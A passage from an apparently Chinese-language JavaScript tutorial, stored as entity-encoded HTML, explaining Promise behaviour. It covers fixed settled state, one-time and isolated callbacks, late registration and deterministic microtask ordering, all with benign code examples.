&#x5BF9;&#x8C61;&#x7684;&#x72B6;&#x6001;&#x4E5F;&#x5C06;&#x6C38;&#x8FDC;&#x662F;&#x8FD9;&#x4E2A;&#x521D;&#x6B21;&#x53D8;&#x66F4;&#x65F6;&#x7684;&#x72B6;&#x6001;&#x3002;&#x540C;&#x65F6;&#xFF0C;&#x521D;&#x6B21;&#x8C03;&#x7528; <code>resolve</code> &#x6216;&#x8005; <code>reject</code> &#x6240;&#x4F20;&#x5165;&#x7684;&#x53C2;&#x6570;&#x4E5F;&#x5C06;&#x4F1A;&#x56FA;&#x5B9A;&#x4E0B;&#x6765;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x521D;&#x6B21;&#x89E6;&#x53D1;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; fulfilled,</span>\n  <span class=\"token comment\">// &#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8FD4;&#x56DE;&#x503C;&#x4E3A; 1 &#x5E76;&#x89E6;&#x53D1; onFulfilled &#x56DE;&#x8C03;&#x51FD;&#x6570;</span>\n  <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x540E;&#x7EED;&#x7684;&#x64CD;&#x4F5C;&#x90FD;&#x4E0D;&#x4F1A;&#x5F71;&#x54CD;&#x72B6;&#x6001;&#xFF0C;</span>\n  <span class=\"token comment\">// &#x4E5F;&#x4E0D;&#x4F1A;&#x8986;&#x76D6;&#x6389;&#x8FD4;&#x56DE;&#x503C;&#xFF0C;</span>\n  <span class=\"token comment\">// &#x4E5F;&#x4E0D;&#x4F1A;&#x591A;&#x6B21;&#x89E6;&#x53D1; onFulfilled &#x56DE;&#x8C03;</span>\n  <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\n  <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span>\n  <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370; 1</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x4E0D;&#x4F1A;&#x8FDB;&#x5165;&#x8BE5; onRejected &#x56DE;&#x8C03;</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>Promise &#x7684;&#x8FD9;&#x4E00;&#x7279;&#x6027;&#x786E;&#x4FDD;&#x4E86;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x6700;&#x7EC8;&#x72B6;&#x6001;&#x7684;&#x786E;&#x5B9A;&#x6027;&#xFF0C;&#x4E0D;&#x7528;&#x62C5;&#x5FC3;&#x8FD9;&#x4E2A;&#x72B6;&#x6001;&#x5728;&#x540E;&#x7EED;&#x7684;&#x4EFB;&#x4F55;&#x65F6;&#x5019;&#x53D1;&#x751F;&#x53D8;&#x66F4;&#x3002;</p>\n<h3 id=\"promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;\"><a name=\"promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;\" class=\"plugin-anchor\" href=\"#promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;</h3>\n<p>&#x7531;&#x4E8E; Promise &#x5BF9;&#x8C61;&#x4E0A;&#x6CE8;&#x518C;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x53EA;&#x4F1A;&#x81F3;&#x591A;&#x89E6;&#x53D1;&#x4E00;&#x6B21;&#xFF0C;&#x8FD9;&#x4E2A;&#x7279;&#x70B9;&#x89C4;&#x907F;&#x4E86;&#x8FC7;&#x53BB;&#x57FA;&#x4E8E;&#x57FA;&#x4E8E;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x5F53;&#x4E2D;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x6B21;&#x6570;&#x4E0D;&#x53D7;&#x63A7;&#x5236;&#x7684;&#x95EE;&#x9898;&#x3002;&#x5728; Promise &#x7684;&#x8FD9;&#x5957;&#x673A;&#x5236;&#x4E0B;&#xFF0C;&#x5E0C;&#x671B;&#x89E6;&#x53D1;&#x51E0;&#x6B21;&#x56DE;&#x8C03;&#xFF0C;&#x5C31;&#x6CE8;&#x518C;&#x51E0;&#x4E2A;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x5373;&#x53EF;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5047;&#x8BBE;&#x5F02;&#x6B65;&#x51FD;&#x6570;&#x7684;&#x5B9E;&#x73B0;&#x673A;&#x5236;&#x5982;&#x4E0B;&#xFF0C;&#x4F1A;&#x5B58;&#x5728;&#x591A;&#x6B21;&#x8C03;&#x7528; callback &#x7684;&#x60C5;&#x51B5;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">run</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">callback</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setInterval</span><span class=\"token punctuation\">(</span>callback<span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x91C7;&#x7528; Promise &#x8FDB;&#x884C;&#x5305;&#x88C5;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x907F;&#x514D;&#x8FD9;&#x4E00;&#x95EE;&#x9898;</span>\n<span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">run</span><span class=\"token punctuation\">(</span>resolve<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x53EA;&#x4F1A;&#x89E6;&#x53D1;&#x4E00;&#x6B21;</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5B8C;&#x6210;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"promise-&#x4E0D;&#x5B58;&#x5728;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;\"><a name=\"promise-&#x4E0D;&#x5B58;&#x5728;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x4E0D;&#x5B58;&#x5728;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x4E0D;&#x5B58;&#x5728;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;\" class=\"plugin-anchor\" href=\"#promise-&#x4E0D;&#x5B58;&#x5728;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x4E0D;&#x5B58;&#x5728;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;</h3>\n<p>&#x7531;&#x4E8E; Promise &#x7684;&#x72B6;&#x6001;&#x5177;&#x6709;&#x786E;&#x5B9A;&#x6027;&#xFF0C;&#x4E00;&#x65E6;&#x56FA;&#x5B9A;&#x4E0B;&#x6765;&#x540E;&#x4FBF;&#x4E0D;&#x4F1A;&#x53D1;&#x751F;&#x4EFB;&#x4F55;&#x66F4;&#x6539;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x4EFB;&#x4F55;&#x65F6;&#x5019;&#x6CE8;&#x518C;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x90FD;&#x53EF;&#x4EE5;&#x76D1;&#x542C;&#x5230; Promise &#x7684;&#x72B6;&#x6001;&#x3002;&#x5982;&#x679C;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x5728;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x524D;&#x6CE8;&#x518C;&#xFF0C;&#x5219;&#x4F1A;&#x7B49;&#x5F85;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x65F6;&#x89E6;&#x53D1;&#xFF1B;&#x5F53;&#x6CE8;&#x518C;&#x65F6;&#x72B6;&#x6001;&#x5DF2;&#x7ECF;&#x786E;&#x5B9A;&#x4E0B;&#x6765;&#xFF0C;&#x90A3;&#x4E48; Promise\n&#x4F1A;&#x7ACB;&#x5373;&#x8C03;&#x7528;&#x8FD9;&#x4E2A;&#x51FD;&#x6570;&#x5E76;&#x4F20;&#x5165;&#x76F8;&#x5E94;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#x3002;&#x8FD9;&#x5C31;&#x89E3;&#x51B3;&#x4E86;&#x8FC7;&#x53BB;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x673A;&#x5236;&#x53EF;&#x80FD;&#x5B58;&#x5728;&#x7684;&#x56DE;&#x8C03;&#x8FC7;&#x65E9;&#x95EE;&#x9898;&#xFF08;&#x5373;&#x4E8B;&#x4EF6;&#x5728;&#x56DE;&#x8C03;&#x6CE8;&#x518C;&#x524D;&#x89E6;&#x53D1;&#x5BFC;&#x81F4;&#x56DE;&#x8C03;&#x76D1;&#x542C;&#x5931;&#x6548;&#xFF09;&#xFF0C;&#x5728; Promise &#x673A;&#x5236;&#x7684;&#x4FDD;&#x8BC1;&#x4E0B;&#xFF0C;&#x8FD9;&#x79CD;&#x95EE;&#x9898;&#x4E0D;&#x4F1A;&#x53D1;&#x751F;&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#x6F14;&#x793A;&#x540E;&#x6CE8;&#x518C;&#x7684; onFulfilled &#x56DE;&#x8C03;&#x83B7;&#x53D6;&#x8FD4;&#x56DE;&#x503C;&#x7684;&#x60C5;&#x51B5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// 1 &#x79D2;&#x65F6;&#x89E6;&#x53D1;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; fulfilled</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x64CD;&#x4F5C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// 0 &#x79D2;&#x65F6;&#x6CE8;&#x518C; onFulfilled</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value <span class=\"token operator\">+</span> <span class=\"token string\">&apos;[1]&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// 2 &#x79D2;&#x65F6;&#x6CE8;&#x518C; onFulfilled</span>\n<span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  promise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value <span class=\"token operator\">+</span> <span class=\"token string\">&apos;[2]&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2000</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x6BB5;&#x4EE3;&#x7801;&#x7684;&#x63A7;&#x5236;&#x53F0;&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x4E3A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># (...1s)</span>\n&#x64CD;&#x4F5C;&#x6210;&#x529F;&#xFF01;<span class=\"token punctuation\">[</span>1<span class=\"token punctuation\">]</span>\n<span class=\"token comment\"># (...2s)</span>\n&#x64CD;&#x4F5C;&#x6210;&#x529F;&#xFF01;<span class=\"token punctuation\">[</span>2<span class=\"token punctuation\">]</span>\n</code></pre>\n<p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#xFF0C;&#x7B2C; 0 &#x79D2;&#x6CE8;&#x518C;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x5728;&#x7B2C; 1 &#x79D2; promise &#x5BF9;&#x8C61;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x7684;&#x65F6;&#x5019;&#x89E6;&#x53D1;&#xFF0C;&#x540C;&#x65F6;&#x7B2C; 2 &#x79D2;&#x6CE8;&#x518C;&#x7684;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4F1A;&#x7ACB;&#x5373;&#x89E6;&#x53D1;&#x5E76;&#x6210;&#x529F;&#x83B7;&#x5F97;&#x8FD4;&#x56DE;&#x503C;&#x3002;</p>\n<p>&#x8FD9;&#x4E00;&#x7279;&#x6027;&#x786E;&#x4FDD;&#x4E86;&#x5728;&#x4EFB;&#x4F55;&#x65F6;&#x5019;&#x6CE8;&#x518C; promise &#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x90FD;&#x4E0D;&#x4F1A;&#x9519;&#x8FC7;&#x5F02;&#x6B65;&#x8FD4;&#x56DE;&#x7684;&#x7ED3;&#x679C;&#xFF0C;&#x8FD9;&#x4E2A;&#x70B9;&#x5728;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x5E74;&#x4EE3;&#x5F88;&#x96BE;&#x88AB;&#x4FDD;&#x8BC1;&#x7684;&#x3002;</p>\n<h3 id=\"promise-&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E4B;&#x95F4;&#x4E0D;&#x4F1A;&#x76F8;&#x4E92;&#x5F71;&#x54CD;\"><a name=\"promise-&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E4B;&#x95F4;&#x4E0D;&#x4F1A;&#x76F8;&#x4E92;&#x5F71;&#x54CD;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E4B;&#x95F4;&#x4E0D;&#x4F1A;&#x76F8;&#x4E92;&#x5F71;&#x54CD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E4B;&#x95F4;&#x4E0D;&#x4F1A;&#x76F8;&#x4E92;&#x5F71;&#x54CD;\" class=\"plugin-anchor\" href=\"#promise-&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E4B;&#x95F4;&#x4E0D;&#x4F1A;&#x76F8;&#x4E92;&#x5F71;&#x54CD;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E4B;&#x95F4;&#x4E0D;&#x4F1A;&#x76F8;&#x4E92;&#x5F71;&#x54CD;</h3>\n<p>&#x540C;&#x4E00;&#x4E2A; Promise &#x4E0A;&#x6CE8;&#x518C;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x5F7C;&#x6B64;&#x76F8;&#x4E92;&#x9694;&#x79BB;&#xFF0C;&#x56E0;&#x6B64;&#x4E2A;&#x522B;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x51FA;&#x9519;&#x5E76;&#x4E0D;&#x4F1A;&#x5F71;&#x54CD;&#x5230;&#x5176;&#x4ED6;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x6B63;&#x5E38;&#x6267;&#x884C;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x64CD;&#x4F5C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x6267;&#x884C;&#x56DE;&#x8C03;&#x5E76;&#x629B;&#x9519;</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">throw</span> <span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x51FA;&#x9519;&#x4E86;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x6C38;&#x8FDC;&#x4E0D;&#x4F1A;&#x8FDB;&#x5230; onRejected &#x56DE;&#x8C03;&#x4E2D;</span>\n<span class=\"token comment\">// &#x56E0;&#x4E3A;onFulfilled &#x6267;&#x884C;&#x51FA;&#x9519;&#x4E0D;&#x4F1A;&#x5F71;&#x54CD; promise &#x7684;&#x72B6;&#x6001;</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x6253;&#x5370;&#x201C;&#x64CD;&#x4F5C;&#x6210;&#x529F;&#xFF01;&#x201D;</span>\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5E8F;&#x662F;&#x786E;&#x5B9A;&#x7684;\"><a name=\"promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5E8F;&#x662F;&#x786E;&#x5B9A;&#x7684;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5E8F;&#x662F;&#x786E;&#x5B9A;&#x7684;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5E8F;&#x662F;&#x786E;&#x5B9A;&#x7684;\" class=\"plugin-anchor\" href=\"#promise-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5E8F;&#x662F;&#x786E;&#x5B9A;&#x7684;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5E8F;&#x662F;&#x786E;&#x5B9A;&#x7684;</h3>\n<p>&#x9996;&#x5148;&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#x6765;&#x8BF4;&#x660E;&#x95EE;&#x9898;&#x3002;&#x5047;&#x8BBE;&#x76EE;&#x524D;&#x5B58;&#x5728;&#x4E00;&#x4E2A;&#x51FD;&#x6570; <code>run()</code>&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x4F20;&#x5165;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#xFF0C;&#x90A3;&#x4E48;&#x76F8;&#x5E94;&#x7684;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;a&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token function\">run</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;b&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;c&apos;</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x4E0D;&#x77E5;&#x9053; run &#x51FD;&#x6570;&#x7684;&#x5185;&#x90E8;&#x5B9E;&#x73B0;&#x4E4B;&#x524D;&#xFF0C;&#x6211;&#x4EEC;&#x5B8C;&#x5168;&#x65E0;&#x6CD5;&#x9884;&#x6D4B;&#x8FD9;&#x6BB5;&#x4EE3;&#x7801;&#x7684;&#x6267;&#x884C;&#x7ED3;&#x679C;&#x3002;&#x6BD4;&#x5982;&#x4EE5;&#x4E0B;&#x8FD9;&#x4E24;&#x79CD;&#x5B9E;&#x73B0;&#x65B9;&#x5F0F;&#xFF0C;&#x5176;&#x6253;&#x5370;&#x7684;&#x7ED3;&#x679C;&#x662F;&#x5B8C;&#x5168;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">run</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">callback</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">callback</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x6253;&#x5370; a b c</span>\n\n<span class=\"token comment\">/*****/</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">run</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">callback</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span>callback<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x6253;&#x5370; a c b</span>\n</code></pre>\n<p>&#x4F46;&#x5982;&#x679C; run &#x51FD;&#x6570;&#x901A;&#x8FC7; Promise &#x7684;&#x65B9;&#x5F0F;&#x6765;&#x5B9E;&#x73B0;&#xFF0C;&#x5E76;&#x4E14;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x653E;&#x5230; <code>.then</code> &#x65B9;&#x6CD5;&#x5F53;&#x4E2D;&#x6267;&#x884C;&#xFF0C;&#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x5F88;&#x660E;&#x663E;&#x5730;&#x77E5;&#x9053;&#x6253;&#x5370;&#x7ED3;&#x679C;&#x4E00;&#x5B9A;&#x662F;&#x201C;a c b&#x201D;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;a&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token function\">run</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;b&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;c&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370; a c b</span>\n</code></pre>\n<p>&#x8FD9;&#x91CC;&#x6D89;&#x53CA;&#x5230; microtask&#x3001;JavaScript &#x4E8B;&#x4EF6;&#x5FAA;&#x73AF;&#x673A;&#x5236;&#x76F8;&#x5173; &#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x611F;&#x5174;&#x8DA3;&#x7684;&#x540C;&#x5B66;&#x53EF;&#x4EE5;&#x641C;&#x7D22;&#x76F8;&#x5E94;&#x5173;&#x952E;&#x5B57;&#x8FDB;&#x884C;&#x6DF1;&#x5165;&#x4E86;&#x89E3;&#x3002;</p>\n<h3 id=\"&#x5C0F;&#x8282;\"><a name=\"&#x5C0F;&#x8282;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x8282;\"><i class=\"fa fa-link\" 